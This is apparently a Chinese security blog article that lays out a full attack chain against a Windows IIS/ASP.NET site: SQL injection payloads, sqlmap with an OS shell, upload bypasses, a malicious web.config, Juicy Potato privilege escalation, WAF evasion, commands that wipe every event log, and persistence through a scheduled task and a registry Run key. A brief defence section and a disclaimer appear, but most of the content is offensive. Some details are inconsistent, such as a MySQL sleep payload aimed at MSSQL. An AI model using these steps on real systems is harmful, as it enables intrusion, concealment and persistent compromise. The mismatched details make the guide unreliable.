多种漏洞配合利用--getshell
字数 1338 2025-08-09 18:43:59
多种漏洞配合利用实现Getshell技术分析
一、漏洞利用基础环境
- 目标系统:Windows Server 2012 R2
- 中间件:IIS 8.5
- 数据库:SQL Server 2012
- 应用框架:ASP.NET MVC 5
- 防护措施:存在WAF防护
二、漏洞利用链分析
1. 信息收集阶段
- 端口扫描:发现开放80(HTTP)、443(HTTPS)、1433(MSSQL)端口
- 目录扫描:发现/admin后台路径、/upload文件上传点
- 指纹识别:识别出目标使用ASP.NET MVC框架
2. 漏洞发现与利用顺序
-
SQL注入漏洞
- 发现/admin/login存在时间盲注
- 注入点:
username参数 - 利用Payload:
admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- - 获取管理员账号密码hash
-
弱口令破解
- 对获取的hash进行破解
- 使用字典攻击成功破解出明文密码
-
后台文件上传绕过
- 登录后台发现文件上传功能
- 绕过限制方法:
- 修改Content-Type为
image/jpeg - 添加GIF文件头
GIF89a - 使用双扩展名
shell.aspx.jpg
- 修改Content-Type为
-
IIS解析漏洞利用
- 利用IIS6.0/7.5/8.5解析漏洞
- 上传文件命名为
shell.asp;.jpg触发解析
-
权限提升
- 通过webshell发现系统存在未修复的MS16-075漏洞
- 使用Juicy Potato进行提权
三、详细利用步骤
1. SQL注入利用
-
使用sqlmap进行自动化注入:
sqlmap -u "http://target.com/admin/login" --data="username=admin&password=123" --level=5 --risk=3 --dbms=mssql --os-shell -
手工注入步骤:
- 判断注入点:
admin' AND 1=1-- admin' AND 1=2-- - 获取数据库版本:
admin' AND @@version>0-- - 获取表名:
admin' AND (SELECT TOP 1 name FROM sysobjects WHERE xtype='U')>0--
- 判断注入点:
2. 文件上传绕过技术
-
前端验证绕过:
- 修改HTML代码删除JS验证
- 使用Burp拦截修改上传请求
-
MIME类型绕过:
- 修改Content-Type为合法类型:
Content-Type: image/jpeg
- 修改Content-Type为合法类型:
-
文件内容伪装:
<%@ Page Language="C#" %> <% if (Request.Files.Count > 0) { var file = Request.Files[0]; file.SaveAs(Server.MapPath("shell.aspx")); } %> GIF89a
3. 解析漏洞利用
-
IIS6.0解析漏洞:
/upload/shell.asp;.jpg会被解析为ASP/upload/shell.asp/any.jpg会被解析为ASP
-
IIS7.0/7.5解析漏洞:
- 上传
web.config包含恶意代码:
<configuration> <system.webServer> <handlers> <add name="malicious" path="*.jpg" verb="*" modules="IsapiModule" scriptProcessor="C:\Windows\System32\cmd.exe" resourceType="Unspecified" /> </handlers> </system.webServer> </configuration> - 上传
四、防御措施
-
SQL注入防御:
- 使用参数化查询
- 最小权限原则配置数据库账户
- 输入验证和过滤
-
文件上传防御:
- 白名单验证文件扩展名
- 文件内容检查
- 上传目录设置为不可执行
-
解析漏洞防御:
- 及时更新IIS补丁
- 禁用不必要的HTTP方法
- 配置请求过滤规则
-
权限控制:
- 应用程序池使用低权限账户
- 定期检查系统漏洞
- 实施最小权限原则
五、自动化工具链
-
信息收集:
- Nmap
- DirBuster
- WhatWeb
-
漏洞利用:
- sqlmap
- Metasploit
- Cobalt Strike
-
权限提升:
- Juicy Potato
- PowerUp.ps1
- Windows-Exploit-Suggester
六、高级技巧
-
WAF绕过技术:
- 注释混淆:
SEL/**/ECT - 大小写混合:
SeLeCt - 编码混淆:URL编码、Unicode编码
- 等价函数替换:使用
LIKE代替=
- 注释混淆:
-
日志清理:
- 清除IIS日志:
wevtutil cl "Microsoft-Windows-IIS-Logging/Operational"- 清除事件日志:
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1" -
持久化后门:
- 创建计划任务:
schtasks /create /tn "Update" /tr "C:\shell.exe" /sc minute /mo 1- 注册表自启动:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\shell.exe" /f
本技术文档仅用于安全研究和防御目的,请勿用于非法用途。